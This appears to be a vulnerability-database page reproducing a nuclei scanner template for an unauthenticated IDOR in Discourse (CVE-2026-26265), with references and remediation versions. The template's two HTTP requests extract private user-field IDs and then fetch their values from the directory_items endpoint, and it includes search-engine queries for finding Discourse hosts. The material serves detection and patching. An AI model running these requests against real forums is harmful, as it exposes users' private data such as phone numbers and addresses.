Lucene search
+L

Discourse - Private User Field Disclosure via Directory Items IDOR

🗓️ 14 Sep 2026 18:28:13Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated IDOR in Discourse directory_items discloses private user fields to any user.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-26265
26 Feb 202615:10
attackerkb
circl
Circl
CVE-2026-26265
26 Feb 202617:07
circl
cnnvd
CNNVD
Discourse 安全漏洞
26 Feb 202600:00
cnnvd
cve
CVE
CVE-2026-26265
26 Feb 202615:10
cve
cvelist
Cvelist
CVE-2026-26265 Discourse has IDOR vulnerability in the directory items endpoint
26 Feb 202615:10
cvelist
euvd
EUVD
EUVD-2026-8859
26 Feb 202615:10
euvd
nvd
NVD
CVE-2026-26265
26 Feb 202616:24
nvd
osv
OSV
BIT-DISCOURSE-2026-26265 Discourse has IDOR vulnerability in the directory items endpoint
3 Mar 202613:29
osv
ptsecurity
Positive Technologies
PT-2026-22156
26 Feb 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-26265
27 Feb 202619:44
redhatcve
Rows per page
id: CVE-2026-26265

info:
  name: Discourse - Private User Field Disclosure via Directory Items IDOR
  author: str4k3r
  severity: high
  description: |
    Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication.
  impact: |
    Any user, including anonymous, can bulk exfiltrate private user data such as phone numbers and addresses.
  remediation: |
    Update to versions 2025.12.2, 2026.1.1, or 2026.2.0 or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-crxf-p6jm-vpgw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26265
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-26265
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"Discourse"
    fofa-query: app="Discourse"
    zoomeye-query: app:"Discourse"
    hunter-query: web.title="Discourse"
  tags: cve,cve2026,discourse,idor,exposure,unauth

flow: |
  http(1);
  var id = template["uf_id"];
  if (Array.isArray(id)) set("uf_id", id[0]);
  if (template["uf_id"]) http(2);

http:
  - raw:
      - |
        GET /site.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "user_fields")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: uf_id
        internal: true
        part: body
        group: 1
        regex:
          - '"id":(\d+)[^{}]*?"show_on_(?:profile|user_card)":false'

  - raw:
      - |
        GET /directory_items.json?period=all&user_field_ids={{uf_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"user_fields\":{\"" + uf_id + "\":")'
        condition: and
# digest: 4b0a00483046022100b8402727e06b68ec116c414f0aaca3dd7f2e942ac2e7cbae992e96f337b4871c022100a3307a42a463d38ed5a98cc04b50920456bd2e23d0ddaec4972c8e1a5a06dd10:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2026 18:27Current
CVSS 3.17.5
EPSS0.00266
SSVC
3